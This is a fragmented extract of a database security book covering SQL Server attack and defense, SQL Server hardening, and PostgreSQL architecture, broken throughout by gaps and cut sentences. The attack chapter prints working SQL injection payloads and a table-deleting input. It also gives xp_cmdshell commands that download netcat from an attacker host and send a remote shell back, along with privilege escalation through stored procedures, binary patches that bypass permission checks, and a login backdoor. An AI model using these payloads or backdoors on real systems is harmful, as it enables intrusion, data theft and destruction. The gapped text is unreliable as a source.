It is easy to see how this could very quickly
lead to a serious negative impact on network conditions due to the huge
amount of traffic that will be generated, and will almost certainly amount to a
denial-of-service attack on both SQL Servers
...
The SQL
Server Enterprise Manager, a Microsoft Management Console snap-in, has been
vulnerable to a buffer overflow when polling the network for available SQL
357
33_578014 ch22
...
appsecinc
...
html)
...
This attack could also be
employed by sending out the attack packet to the network broadcast address
at regular intervals until a client queries the network and treats the packet as a
response
...
This problem was fixed in MDAC (Microsoft Data Access Components) version 2
...
microsoft
...
mspx)
...
This is because web applications are typically deployed as Internet-facing and,
if written in-house, their code will probably not have been subject to the same
stringent security auditing as commercial software
...
SQL Server’s error messages can be viewed in the sysmessages table in the
master database
...
An example of this is an HTML form that receives posted data from the user
and passes it to an Active Server Pages (ASP) script running on Microsoft’s IIS
web server
...
The schema of the users table
in the backend database is as follows:
username varchar(255)
password varchar(255)
The query executed is
SELECT * FROM users WHERE username = ‘[username]’ AND password =
‘[password]’;
However, the ASP script builds the query from user data using the following line:
33_578014 ch22
...
/login
...
The attacker can now begin to
inject strings into the query in order to customize its behavior; for example, in
order to logon as the first user in the users table you would post a username of
‘ or 1=1--
This converts to a query of
SELECT * FROM users WHERE username = ‘’ or 1=1 — -’ AND password =
‘[password]’;
The double hyphens (--) signify a Transact-SQL comment, so all subsequent
text is ignored
...
If a specific username is known the account can be accessed with the
username:
‘ or username=’knownuser’ —
Even if a real username is not known, an invented one can be used with the
username:
‘ union select 1, ‘myusername’, ‘mypassword’, 1 —
An example of verbose SQL Server error messages can be seen by using a
username of
‘ and 1 in (SELECT @@version) —
which results in the following:
359
33_578014 ch22
...
00
...
0 (Build 2195: Service Pack 3) ‘ to a col
umn of data type int
...
asp, line 16
By referencing the online SQL Server version database at SQLSecurity
(http://sqlsecurity
...
aspx?tabid=37), version
8
...
534 corresponds to SQL Server 2000 service pack 2 without any hotfixes
...
nist
...
cfm?cvename=CAN-2002-0154)
...
If, for convenience, an attacker
wants to create an account on the system, he would need to know details about
the database schema
...
They must be used together so the following username produces an informative error:
‘ having 1=1--
This gives the table name as “users” and the first column used in the query
as “username”:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘users
...
/login
...
username having 1=1 —
This returns:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘users
...
/login
...
username,users
...
qxd
6/3/05
7:10 PM
Page 361
SQL Server: Exploitation, Attack, and Defense
This doesn’t generate an error, because the GROUP BY clause cancels out to
make the effective query passed to the database select all users where the username is ‘’
...
It would be
natural to assume that both columns are of type varchar, but this can be verified by utilizing either the sum or avg functions, which are used to total an
expression or calculate the average of all values in a group, respectively
...
/login
...
To determine the
data type of a numeric column (num) you would pass the column name to the
sum function as before
...
/login
...
/login
...
qxd
362
6/3/05
7:10 PM
Page 362
Chapter 22
All the users on the system can now be enumerated by substituting the last
retrieved username for “a” in the query:
‘ union select min(username) from users where username > ‘admin’-Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value ‘bob’ to a column of data type int
...
asp, line 16
This continues until no error is generated, meaning that the query produced
no result
...
/login
...
nextgenss
...
pdf)
More Advanced SQL Injection, also by Chris Anley (http://www
...
com/papers/more_advanced_sql_injection
...
appsecinc
...
pdf)
System-Level Attacks
If the vulnerable application is connecting to the database with system administrator privileges, attacks can be launched on the operating system itself
...
xp_cmdshell ‘dir > C:\dir
...
168
...
1 in this example) verifies that commands are executed; DNS queries
on TCP port 53 are often allowed out through corporate firewalls:
33_578014 ch22
...
xp_cmdshell ‘nslookup foobar 192
...
0
...
ethereal
...
If permitted by the SQL Server’s firewall the attacker may attempt to gain a remote
shell by instructing the server to download the network tool netcat (http://
www
...
com/research/tools/network_utilities) from a TFTP
(trivial file transfer protocol) server running on his machine:
‘; exec master
...
168
...
1 GET nc
...
exe’ —
A command shell can now be pushed out to the attacker’s netcat listener on
port 53:
‘; exec master
...
exe 192
...
0
...
exe’ —
The usual technique for viewing command-line responses is to insert the
information into a temporary table and then retrieve it using the previously
detailed approaches, either through error message information or by using time
delays
...
Alternative Attack Vectors
SQL injection can also occur if an application takes a value such as a session
identifier from a user-supplied cookie
...
Web applications can extract information from many different sources, such
as the HTTP request headers (Accept, User-Agent, Host, and so on) provided
by web browsers when connecting to a server
...
363
33_578014 ch22
...
Time Delays
The previous examples of SQL injection techniques assumed that the client can
view the error messages returned by the backend database server; however,
often the web server is set up so that error messages are not returned
...
A
method used here to extract the data is known as time delay SQL injection, and
works on the basis that true or false queries can be answered by the amount of
time a request takes to complete
...
This feature can be leveraged to reveal information, such as whether the web
application’s connection to the database is made as a system administrator:
if (is_srvrolemember(‘sysadmin’) > 0) waitfor delay ‘0:0:5’
This will cause the query to pause if true, or return immediately if false
...
This means that any data in the database can be extracted
using a sequence of true/false questions
...
To retrieve the current database name from the server, execute
declare @string varchar(8192) select @string = db_name() if
(ascii(substring(@string, 1, 1)) & (power(2, 0))) > 0 waitfor delay
‘0:0:5’
This will delay if the first bit of the first byte of the current database name is
set to 1
...
qxd
6/3/05
7:10 PM
Page 365
SQL Server: Exploitation, Attack, and Defense
and so on, building up the entire string
...
It is not necessary, however, to run these queries sequentially or in
any particular order
...
Multiple requests can then be made to the server in multiple threads,
and the harness program can then wait for the requests to return and build the
string as they do
...
Stored Procedures
SQL Server stored procedures can be vulnerable to SQL injection attacks if
they do not correctly parse user-supplied arguments
...
The sysxlogins table can be retrieved on SQL Server 2000
pre-Service Pack 3 with the following query:
EXEC sp_MSdropretry ‘foobar select * from master
...
sysxlogins’ ,
‘foobar’
Viewing the T-SQL source of this stored procedure:
CREATE PROCEDURE sp_MSdropretry (@tname sysname, @pname sysname)
as
declare @retcode int
/*
** To public
*/
exec (‘drop table ‘ + @tname)
if @@ERROR <> 0 return(1)
exec (‘drop procedure ‘ + @pname)
if @@ERROR <> 0 return(1)
return (0)
GO
you can see that the problem occurs because the tname user-supplied parameter is concatenated onto the string “drop table” and then executed without
validation
...
However, if an attacker obtains elevated
privileges this bug will allow writes to system tables
...
Ownership chaining is a feature that allows
365
33_578014 ch22
...
The initial step in privilege escalation is to create a view to modify the sysxlogins
table:
EXEC sp_executesql N’create view dbo
...
dbo
...
test set xstatus=18 where
name=SUSER_SNAME()’, ‘foobar’
And finally, clean up by removing the view and resetting dbo’s SID:
EXEC sp_executesql N’drop view dbo
...
However, a new SQL injection vulnerability in the stored
procedure sp_MSdroptemptable in this updated version can allow users with
create database privileges (or ownership of a database) to elevate their access
level to system administrator
...
This issue was fixed in the patch
MS03-031 (http://www
...
com/technet/security/bulletin/
MS03-031
...
33_578014 ch22
...
The stored procedure sp_MScopyscriptfile
is used to create a directory within the replication directory and then copy in a
script file
...
The vulnerable lines
of the procedure are as follows:
select @cmd = N’copy “‘ + @scriptfile + N’” “‘ + @directory + N’”’
exec @retcode = master
...
Arbitrary commands can be executed by supplying a malformed filename:
use master
declare @cmd nvarchar(4000)
exec sp_MScopyscriptfile N’c:\boot
...
txt&echo hello >
c:\b
...
ini file to the file a
...
txt
...
microsoft
...
mspx)
...
The query
select * from OPENROWSET(‘SQLOLEDB’,
‘uid=sa;pwd=foobar;Network=DBMSSOCN;Address=192
...
0
...
Check your network documentation,” if the port is found to be open
...
” Whether or not the five-second timeout is
expended depends on the behavior of the listening service
...
Because SQL Server will repeatedly attempt connections for the duration of
the timeout period, this technique can also be used as a denial-of-service
attack
...
367
33_578014 ch22
...
Although
this is a convenient feature that is unavailable in other database servers such as
Oracle and MySQL, it does increase SQL Server’s exposure to SQL injection
attacks
...
Defending Against SQL Injection
Despite SQL injection’s well-earned reputation as a relatively common and
dangerous SQL Server attack vector, there are several ways to protect against
this type of attack
...
Input can be filtered so that only
known good input is accepted, known bad input could be stripped out, bad
input could be escaped, and finally, bad input could be rejected entirely
...
The idea behind allowing only known good input is defining a set of permitted characters for each data type used by the application
...
The application
could also be programmed to reject SQL keywords such as select or exec
...
A filter checking for the select keyword could be bypassed by alternative encodings:
exec(‘sel’+’ect * from sysxlogins’)
and by converting the entire query to a hex string using the function
fn_varbintohex:
select master
...
fn_varbintohexstr(CAST(‘select * from sysxlogins’ as
varbinary))
0x73656c656374202a2066726f6d20737973786c6f67696e73
The following query could then also be attempted, bypassing checks on the
select keyword:
declare @query varchar(128); set @query =
0x73656c656374202a2066726f6d20737973786c6f67696e73; exec(@query)
Escaping submitted characters in a web application means treating them as
literal data rather than part of a possible SQL query
...
qxd
6/3/05
7:10 PM
Page 369
SQL Server: Exploitation, Attack, and Defense
it with two single quotes (‘’), which means that within any SQL query this
input will be treated as a literal single-quote character
...
A hazard when using character escaping can be
introduced if length limits are applied to any of the input fields; length limits
may be applied by the application to reduce the risk of buffer overflow attacks
...
The final single quote is removed from the end, meaning that the single quote
before it is no longer escaped
...
So a password of
; drop table users--
would delete the entire users table
...
Care should
be taken when writing the input parsing code that escape characters are not
deleted by length limits
...
” A possible drawback may be that improperly defined filters could block access to users, so it is important that all rules are thoroughly
tested
...
Basic security measures consist of the following:
■
■
A well-configured firewall to block everything apart from connections
from the web server and the database administrator
...
369
33_578014 ch22
...
■■
Permissions granted to the public role should be strictly controlled
...
Covering Tracks
Once an attacker has broken into a SQL Server, his efforts will turn to both
ensuring that his intrusion is not detected and to making future attacks easier
...
This section describes techniques used to compromise a
SQL Server’s security controls and also details detection and defense methods
...
ngssoftware
...
pdf)
...
When patching bytes in memory the Windows SDK function VirtualProtect() must first be called on the region in order to mark it as
writable
...
NET, is attached to the sqlservr
...
After
logging on to the SQL Server as a low-privileged user using Microsoft Query
Analyzer, a query attempting to access a prohibited table is executed:
select * from sysxlogins
By default only members of the dbo database administrators group can
view this table, which contains usernames and password hashes for all database users
...
33_578014 ch22
...
Clearly the access control mechanism throws an exception when
access is denied to a table
...
pdb), which is provided by Microsoft in the MSSQL\Binn\
exe directory
...
A case in
point here is the function FHasObjPermissions, which after setting breakpoints
on all functions containing the word “permission” is executed after the original
select query is run
...
datarescue
...
In this case the function is
called from within the CheckPermissions function:
0087F9C0
0087F9C5
0087F9C8
0087F9CA
0087F9CC
0087F9CE
0087F9D0
0087F9D2
0087F9D4
call FHasObjPermissions
add esp, 14h
test eax, eax
jnz short loc_87F9DC
push 17h
push 19h
push 2
push 24h
call ex_raise
FHasObjPermissions is called, and after it returns, the stack-pointer (esp) is
increased by 0x14 to remove the arguments that were passed to the function
...
So if eax is set
to zero by FhasObjPermission, the following jnz (jump if not zero) operator
will not cause a jump and execution will continue on to the call to ex_raise
...
A quick way to achieve this would be to patch the
conditional jump (jnz) to a non-conditional jump (jmp), however this may not
bypass further checks; if the code is investigated further a neater patch can be
found
...
SQL Server uids (user IDs) are listed in
the sysxlogins table, and the uid with a value of 1 is associated with the database
371
33_578014 ch22
...
Because the code is comparing the uid returned by
the Uid() call to 1, the best approach would be to patch ExecutionContext::Uid()
to always return 1
...
The bytes 66 8B 40 02 should be changed to 66 B8 01 00
...
Attempting to execute the stored
procedure xp_cmdshell as a non-admin user, however, results in
Msg 50001, Level 1, State 50001
xpsql
...
SQL Server is attempting to retrieve this proxy information and failing because
it is not set by default
...
The error now produced when xp_cmdshell
is run with low privileges is
Msg 50001, Level 1, State 50001
xpsql
...
internals
...
dll
...
exe process from within a debugger such as Microsoft’s
WinDbg (http://www
...
com/whdc/devtools/debugging/
default
...
After setting multiple
breakpoints in the code and stepping through the code-path taken when
xp_cmdshell is successfully and unsuccessfully executed, the divergence point
can be established
...
qxd
6/3/05
7:10 PM
Page 373
SQL Server: Exploitation, Attack, and Defense
42EA56DF
42EA56E1
test eax, eax
jnz loc_42EA5A98
Patching the 2-byte op-code for jnz (0F 85) to the 2-byte op-code for a nonconditional jump jmp (90 E9) results in execution of xp_cmdshell being allowed
for all users
...
The decision on whether to patch bytes in memory (run-time patching) or to patch the
actual SQL Server system files on the hard-drive depends on two factors; if the
target is running software that offers file baselining features such as TripWire
(http://www
...
com/products/servers/index
...
However, if the SQL
Server code is patched in memory, any backdoors will be removed on reboot
of the server
...
XSTATUS Backdoor
Another tactic, known as the xstatus backdoor, uses a modification to the xstatus
column of the master
...
sysxlogins table to permit users to login with system
administrator privileges and no password
...
If the third bit of the number is set to zero, this
denotes that the account authenticates using SQL Server’s native authentication;
a 1 means that Windows authentication is used
...
This results in allowing anyone to log on to the
server using native authentication, a username of BUILTIN\Administrators,
and a blank password
...
NET Server adds the NT AUTHORITY\NETWORK SERVICE
group as a SQL login and this account is also prone to xstatus changes in the
same way as BUILTIN\Administrators
...
This makes it a target for Trojanning — all procedures that are run automatically should be examined for malicious instructions
...
373
33_578014 ch22
...
qxd
6/3/05
7:09 PM
Page 375
CHAPTER
23
Securing
SQL Server
Installation
A planned secure installation of SQL Server is the vital first step in building a
protected database server
...
Step 1: Authentication
Setting the server on install to use integrated Windows authentication instead
of native SQL Server authentication simplifies security administration and
reduces the risks of attacks from password sniffing
...
The authentication mode can also be changed later using the SQL Server
Enterprise Manager, under the Security tab of the SQL Server’s properties,
which is shown in Figure 23-2
...
375
34_578014 ch23
...
Figure 23-2 Changing the authentication mode
...
qxd
6/3/05
7:09 PM
Page 377
Securing SQL Server
In SQL Server 6
...
Although SQL Server 7 and 2000 do obfuscate this information,
it is the same method used to hide ODBC credentials and is easily reversible
...
5 is
HKEY_CURRENT_USER\Software\Microsoft\MSSQLServer\SQLEW\RegisteredServer\
SQL6
...
Step 2: Password Strength
Even when using Windows authentication a password must be set for the sa
account
...
You
should therefore ensure that a strong sa password is set on install
...
sp_password NULL, ‘[new password]’, ‘sa’
On SQL Server 6
...
Step 3: Operating System Lockdown
SQL Server can be installed on a number of different Windows filesystem
types (NTFS, FAT, FAT32)
...
NTFS is also a requirement for using Microsoft’s EFS (Encrypting File System), which protects the
confidentiality of data files (http://www
...
microsoft
...
asp)
...
The principle of least privilege should be applied here, because
this will restrict an attacker’s abilities if the server is compromised
...
The SQL Server OS account
is stored in the registry:
377
34_578014 ch23
...
It is recommended that these be revoked unless the functionality is absolutely necessary
...
Step 4: Post-Installation Lockdown
During an installation of SQL Server 7 using native authentication, plaintext passwords are saved to two files (%temp%\sqlsp
...
iss)
...
microsoft
...
asp)
...
log, sqlsp
...
iss in the install directory under Mssql\Install
...
exe (http://support
...
com/
default
...
Figure 23-3 Removing the SQL Server account
...
qxd
6/3/05
7:09 PM
Page 379
Securing SQL Server
SQL Server also installs two sample databases — Northwind and pubs —
and grants generous access permissions to the public role
...
Sample databases should be
removed using
use master
drop database northwind
drop database pubs
Configuration
After a secure installation of SQL Server, the next step is to lock down the
server, ensuring that any unnecessary features and services are removed
...
Supporting unnecessary netlibs is similar to
running redundant services on the server; obscure network libraries could
contain vulnerabilities that put the server at risk
...
Step 6: Configure Auditing and Alerting
Well-configured auditing allows administrators to continually monitor activity on their server and minimize the damage caused by an intrusion by early
detection
...
For this reason
auditing of failed logons is strongly recommended; this can be set using the
Enterprise Manager or by setting the following registry value to 2 (setting it to
3 will record successful logins as well):
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\AuditLevel
Step 7: Lock Down Privileges
By default the SQL Server install grants the guest account public role membership in all databases except for the model database
...
qxd
380
6/3/05
7:09 PM
Page 380
Chapter 23
disable the guest account within Windows and revoke its access to all databases except for master and tempdb, which is required in order for SQL Server
to operate correctly
...
Privileges should be revoked:
revoke update on mswebtasks to public
revoke insert on mswebtasks to public
DTS (Data Transformation Services) packages are sets of COM interfaces
that can be used to perform many administrative tasks on a SQL Server using
T-SQL, Windows scripts, and executable tools
...
The procedure sp_enum_
dtspackages will display package names and ID numbers that can be fed into
sp_get_dtspackage, which will return the package data
...
Privileges
should be removed on these procedures:
revoke execute on sp_enum_dtspackages to public
revoke execute on sp_get_dtspackage to public
The procedure sp_get_SQLAgent_properties displays the obfuscated password used by the SQL Server Agent service to connect to the database server
...
narod
...
c)
...
Connection
passwords are saved in clear text in the table RTblDBMProps in the column
Col11120, so they can be retrieved by anyone with select privileges
...
qxd
6/3/05
7:09 PM
Page 381
Securing SQL Server
Step 8: Remove Unnecessary Features and Services
SQL Server’s remote access feature allows other SQL Servers on the network to
connect and execute stored procedures remotely
...
While this may be a useful temporary ability for advanced administrators, this should be disabled for normal operation:
execute sp_configure ‘allow updates’, ‘0’
go
reconfigure with override
go
The SQL Server Monitor, which listens on UDP port 1434 and provides
information about the instances present on the server, should not be accessible
to clients and SQL Server will run happily with it blocked
...
Heterogeneous or ad-hoc queries allow database users to use local data
providers to execute queries on remote servers
...
This
registry change must be made for all providers on the server, which are
typically ADSDSOObject, DB2OLEDB, Microsoft
...
OLEDB
...
0, MSDAORA,
MSDASQL, MSIDXS, MSQLImpProv, and MSSEARCHSQL
...
The services can be turned off using the Enterprise Manager or by setting their
Startup Type to Disabled in the Windows Services management tool
...
qxd
382
6/3/05
7:09 PM
Page 382
Chapter 23
exec xp_regwrite N’HKEY_LOCAL_MACHINE’, N’SYSTEM\CurrentControlSet\
Services\MSSEARCH’, N’Start’, N’REG_DWORD’, 3
After making these changes the services should be stopped manually or the
server should be restarted
...
Appendix B contains a full
list of potentially dangerous stored procedures
...
Privileges should be revoked from all users of the database except the
sysadmin role
...
qxd
6/3/05
7:09 PM
Page 383
Securing SQL Server
Low-privileged users should not be able to manage SQL Server Agent jobs
...
Step 10: Apply Security Patches
The final, and perhaps the most important, step is to ensure that the latest service packs and patches are applied
...
sqlsecurity
...
aspx?tabid=37)
...
shavlik
...
This can be used both
locally and remotely
...
microsoft
...
Commercial patch management solutions include UpdateExpert (http://www
...
com) and Patchlink Update (http://www
...
com/
products_services/patchlink_update
...
Remember that security
patches must be applied to every instance of SQL Server on a machine
...
The Microsoft Baseline
Security Analyzer (http://www
...
com/technet/security/
tools/mbsahome
...
383
34_578014 ch23
...
qxd
6/3/05
7:13 PM
Page 385
PA R T
VIII
PostgreSQL
35_578014 pt08
...
qxd
6/3/05
7:13 PM
Page 387
CHAPTER
24
The PostgreSQL
Architecture
Examining the Physical Database Architecture
PostgreSQL is a RDBMS derived from the Berkeley POSTGRES Project
...
The POSTGRES
project started out as a DARPA-sponsored initiative and reached version 4
...
Shortly after this, Postgres95 was released
as an open source descendant of POSTGRES
...
Postgres95 was renamed in 1996 to PostgreSQL and a versioning
control was introduced to tie it into the original POSTGRES numbering
...
qxd
388
6/3/05
7:13 PM
Page 388
Chapter 24
IRIX
Linux
Mac OS X
NetBSD
OpenBSD
Solaris
Tru64 UNIX
UnixWare
PostgreSQL binaries come as standard with many Linux distributions,
although many system administrators choose to obtain the latest version and
compile it from source or install it from a package (such as an RPM) in order to
benefit from functionality and security patches
...
PostgreSQL natively supports Microsoft Windows from version 8
...
Prior
to this version, users of Windows systems had to choose a commercial option or
“hack up” a Windows port
...
In addition, several companies have developed commercial versions:
■■
Software Research Associates America, Inc
...
3
...
■■
dbExperts has produced a version based on the 7
...
1 tree
...
2
...
■■
Pervasive has produced a version based on the 8
...
Compared with other DBMS, PostgreSQL is “secure out of the box
...
■■
PostgreSQL will refuse to install or run under the root account on Unix
systems, and under accounts who belong to the Local Administrators
group on Windows
...
■■
The Windows installer will check password strength and will suggest
replacing weak passwords with a randomly generated one
...
qxd
6/3/05
7:13 PM
Page 389
The PostgreSQL Architecture
Common Deployment Scenarios
PostgreSQL supports the majority of features expected of a commercial DBMS
such as ACID compliance, partial roll backs, stored procedures, views, triggers, sequences, cursors, and user-defined data types
...
It is supported by common middleware packages (PHP, Java, Python, Tcl/TK,
ODBC, JDBC) and has historically been a popular choice of Open Source DBMS
for non-Microsoft platforms
...
PostgreSQL is widely used in academic environments where support for
open source software is strong
...
However,
PostgreSQL has been linked with several high-profile deployments
...
org and
...
In addition, a number of open source packages make use of PostgreSQL
...
Terminology
The three major components of PostgreSQL are the frontend (the client), the
postmaster, and backend
...
It is important, however, to correctly
distinguish between the postmaster and the backend
...
The frontend communicates initially with the postmaster, specifying the
database to which it wants to connect
...
Once the frontend has authenticated, the postmaster spawns a backend process and hands off the connection
...
The postmaster takes no further part in ordinary
query/result communication except for when the frontend wishes to cancel a
query currently being executed by a backend
...
The PostgreSQL File Structure
PostgreSQL is typically installed to /usr/local/pgsql or /var/lib/pgsql
on Unix systems and C:\Program Files\PostgreSQL\
under Windows
...
qxd
390
6/3/05
7:13 PM
Page 390
Chapter 24
/var/lib/pgsql/data
|
|
pg_hba
...
conf
|
PG_VERSION
|
postgresql
...
opts
|
postmaster
...
|
|
17187
|
|
pg_internal
...
|
17187
|
pg_internal
...
|
16758
|
config_exec_params
|
pgstat
...
log
|
+---pg_subtrans
|
0000
|
+---pg_tblspc
\---pg_xlog
|
000000010000000000000000
|
\---archive_status
Configuration files and the databases themselves are stored in the data
directory, which is assigned to the environment variable $PGDATA
...
qxd
6/3/05
7:13 PM
Page 391
The PostgreSQL Architecture
$PGDATA directory contains three subdirectories
...
The pg_database table holds the OID to database name mapping
...
The CREATE DATABASE command takes an optional
TEMPLATE parameter that specifies the template on which to base the new
database
...
On a
default configuration, there are two templates: template0 and template1
...
The global subdirectory contains OIDs that correspond to tables containing
data that is not unique to a particular database
...
The final subdirectory, pg_xlog, contains the transaction log
...
conf file contains the runtime configurations for
the database
...
It also includes
various operational and optimizing parameters such as table scanning methods
used in evaluating execution plans
...
conf file consists of a set of records that permit and
deny access to the database based on fields that describe the connection-type, the
network properties, the database name, the username, and the authenticationtype
...
conf file maps operating system usernames to
PostgreSQL usernames
...
The $PGDATA/postmaster
...
These parameters can be overridden by environment
variables and flags passed to the postmaster command if it is launched directly
(as opposed to launching it via a helper utility such as pg_ctl)
...
pid exists while the postmaster is running and
contains the process ID of the postmaster
...
0
...
File permissions in the $PGDATA directory should be such that only the
operating system database user can read or write the configuration files or any
of the database tables
...
conf (located in $PGDATA)
...
qxd
392
6/3/05
7:13 PM
Page 392
Chapter 24
The Unix domain socket name is typically /tmp/
...
PGSQL
...
This means that any
local user can connect to the socket
...
conf contains the following
options to create the socket in a more restrictive fashion:
■■
unix_socket_directory: This is used to restrict where the socket is created
...
■■
unix_socket_group: This sets the group owner of the Unix domain
socket
...
In combination with the unix_socket_permissions option this
can be used as an additional access control mechanism for this socket
type
...
This option can be set only at server start
...
Reasonable alternatives are 0770 (only user
and group) and 700 (only user)
...
PostgreSQL is not network-enabled by default
...
0 tcpip_socket must be set to true
...
0, the listen_
addresses parameter must contain the IP interfaces to listen on
...
TCP
communications may be encrypted using secure sockets
...
Authentication
PostgreSQL supports a number of different authentication models
...
conf file is of key importance
...
Once a record is
matched, parsing of the pg_hba
...
Records take one of seven possible forms:
#
#
#
#
#
#
#
local
host
hostssl
hostnossl
host
hostssl
hostnossl
DATABASE
DATABASE
DATABASE
DATABASE
DATABASE
DATABASE
DATABASE
USER
USER
USER
USER
USER
USER
USER
METHOD [OPTION]
IP-ADDRESS IP-MASK
IP-ADDRESS IP-MASK
IP-ADDRESS IP-MASK
IP-ADDRESS/CIDR-MASK
IP-ADDRESS/CIDR-MASK
IP-ADDRESS/CIDR-MASK
METHOD
METHOD
METHOD
METHOD
METHOD
METHOD
[OPTION]
[OPTION]
[OPTION]
[OPTION]
[OPTION]
[OPTION]
Each record begins with a token specifying connection type
...
qxd
6/3/05
7:13 PM
Page 393
The PostgreSQL Architecture
■
■
local: This connection type matches Unix-domain sockets
...
■
■
host: This connection type matches the client IP address of a TCP
connection
...
■
■
hostnossl: This connection type matches a client IP address of a TCP
connection that is not over SSL
...
Should both the connection and authentication succeed, the client will
be able to access only the database that was specified during the connection
startup
...
There are a number of key words for this
token:
■
■
All: Matches all databases
...
■
■
Samegroup: Matches if the requested database is of the same name as
the group that the presented username is in
...
Again, the keyword “all” matches all
usernames
...
If it is set to local, the authentication method follows
...
This takes the form of an
IP address followed by the network mask (for example, 10
...
0
...
255
...
0)
or the IP address/mask in CIDR notation (for example, 10
...
0
...
The final required token specifies the authentication method
...
This option essentially specifies no
security
...
■
■
Ident: This method relies on the client to authenticate the user
...
It then consults the ident map
(specified as an option after the ident authentication type) or takes the
client username as the PostgreSQL username if the sameuser keyword
is specified
...
qxd
394
6/3/05
7:13 PM
Page 394
Chapter 24
been set to SSL
...
If so, the file specified is assumed
to contain flat text containing usernames and passwords
...
■■
md5: This method was introduced as of version 7
...
The postmaster
sends the client a random byte salt to the client
...
The salt is appended to this digest, and the resulting string is
hashed again
...
■■
krb4 and krb5: These methods make use of Kerberos, a secure authentication service that uses symmetric cryptography
...
Tickets permit access to Kerberos-enabled services
...
■■
pam: This method invokes the Pluggable Authentication Method (PAM)
...
The library provides an interface that applications defer to in order to perform standard authentication tasks
...
This allows the system administrator to
choose how PostgreSQL will authenticate the user
...
The trust method is fundamentally insecure because no verification of the
user’s identity takes place
...
Its insecurity can be mitigated somewhat by setting the connection type to local, or to
hostssl, enabling client certificates and restricting connections to certain IP
addresses
...
If the connection type is local, local users’ identities are not verified
...
Thus a
record such as “local all all trust” might be found on single-user systems,
databases in development environments, or on systems that are considered to
be on secure networks
...
qxd
6/3/05
7:13 PM
Page 395
The PostgreSQL Architecture
SECURITY CONSIDERATIONS
The information returned by this protocol is at most as trustworthy as the host
providing it OR the organization operating the host
...
Likewise, if the host has been
compromised the information returned may be completely erroneous and
misleading
...
At best, it provides some additional auditing information with
respect to TCP connections
...
The use of the information returned by this protocol for other than auditing
is strongly discouraged
...
e
...
The reject authentication method is used to explicitly deny certain kinds of
connection types, usernames, or database names
...
conf will reject the client connection if it does not find a matching record
or it encounters a matching reject record
...
Thus a record such as “host all guest 10
...
0
...
255
...
0
reject” might be followed by “host all sameuser 10
...
0
...
255
...
0 password
...
0
...
1/24 subnet if the client supplies
a username of “guest,” but would permit all other usernames to attempt to
authenticate
...
The ident authentication method uses the Identification Protocol described
in RFC 1413
...
The ident authentication type provides little improvement on the
trust method, since ultimately the postmaster relies on the client to provide
correct information
...
“The Identification Protocol is not intended as an authorization or access
control protocol,” yet, somewhat bizarrely, ident is considered an authentication type in PostgreSQL
...
Therefore, a record of the type “host sameuser 10
...
0
...
0
...
0 ident sameuser” might
be encountered in a closed environment where the integrity of the system with
395
36_578014 ch24
...
0
...
1 is trusted implicitly
...
If a filename was specified instead
of the sameuser directive, the postmaster would use this file to map the operating system username to a PostgreSQL username
...
The password authentication method is insufficient unless the connectiontype is local or hostssl; otherwise the user’s password will appear in clear text
on the wire
...
Thus for a system on which SSL is not enforced, a record of “host sameuser all
10
...
0
...
255
...
0 md5” might be encountered
...
The System Catalogs
PostgreSQL stores metadata, such as information about tables and columns in
system catalogs
...
Most system catalogs are copied from the template database
during database creation and are thereafter database-specific; however, a few
catalogs are physically shared across all databases in a cluster
...
Table 24-1 Complete List of System Catalogs
CATALOG NAME
PURPOSE
pg_aggregate
Aggregate functions
pg_am
Index access methods
pg_amop
Access method operators
pg_amproc
Access method support procedures
pg_attrdef
Column default values
pg_attribute
Table columns (attributes)
pg_cast
Casts (data type conversions)
pg_class
Tables, indexes, sequences (relations)
pg_constraint
Check constraints, unique constraints, primary key
constraints, foreign key constraints
pg_conversion
Encoding conversion information
pg_database
Databases within this database cluster
36_578014 ch24
...
There is one copy of the pg_database catalog per cluster
...
Each database contains its
own pg_class catalog
...
qxd
398
6/3/05
7:13 PM
Page 398
Chapter 24
SELECT n
...
relname FROM pg_class c,
WHERE c
...
oid
AND c
...
nspname not like ‘pg\\_%’
-- not
AND n
...
There is
one copy of the pg_group catalog per cluster
...
Each database contains it own pg_language table
...
In the case of compiled functions, the
prosrc and probin columns store the link symbol (essentially the function name) and the name of the shared object that contains the function
...
■■
pg_largeobject: This catalog is responsible for holding the data making
up “large objects
...
Large objects are broken into segments small enough to
be stored as rows in pg_largeobject
...
Large objects are manipulated via lo_creat,
lo_unlink, lo_import, and lo_export
...
data);
Position
-------0
0
0
0
59
■■
pg_shadow: This catalog contains information about database users,
including password
...
■■
pg_trigger: This catalog stores triggers on tables
...
36_578014 ch24
...
By
default, PostgreSQL usernames and passwords are stored in the pg_shadow
system catalog table, which only the superuser can access
...
All users can therefore obtain usernames, account
expiry information, and privilege levels, that is, whether a particular user is a
superuser, whether they can create databases, and whether they can update
system catalogs
...
The grolist
column returns the list of usernames belonging to the particular group
...
When a user is created, the superuser can explicitly override this to store
the user’s password in plaintext:
CREATE USER test2 WITH UNENCRYPTED PASSWORD ‘letmein’
SELECT usename, passwd FROM pg_shadow where substring(passwd from 1 for
3) <> ‘md5’
usename passwd
------- -----test2
letmein
399
36_578014 ch24
...
2, when md5 support was added, all passwords were
stored in plaintext
...
Only the operating system database user
should have read/write access to PostgreSQL files; attacks that allow lowprivileged users to interact with the filesystem in order to gain access to plaintext passwords (or even hashes) cannot be executed on PostgreSQL because
these potentially dangerous functions are accessible to database superusers only
...
Before a function
can be defined, the target language must be “installed” into each database where
it is to be used
...
The PostgreSQL manual documents PL/pgSQL; other languages implementations include PL/pgPerl, PL/
pgPython, PL/pgTcl, PL/pgPHP, and PLJava
...
All users have access to this table
...
Trusted languages can be used by any
database user whereas untrusted languages can only be used by superusers
...
pgSQL, PL/Tcl, PL/Perl, and PL/
Python are known to be trusted; the languages PL/TclU and PL/PerlU are
designed to provide unlimited functionality and are therefore not marked as
trusted (the “U” denotes “untrusted”)
...
prolang = p2
...
lanname = ‘plpgsql’;
36_578014 ch24
...
Such setuid functions
can be determined by querying the prosecdef column of the pg_language
table
...
401
36_578014 ch24
...
qxd
6/3/05
7:00 PM
Page 403
CHAPTER
25
PostgreSQL: Discovery
and Attack
Finding Targets
PostgreSQL is not configured for network access by default, so it is first worth
considering how to determine its presence given local access to a system
...
” On
Unix systems the PostgreSQL local socket is typically located in /tmp and is
named s
...
5432
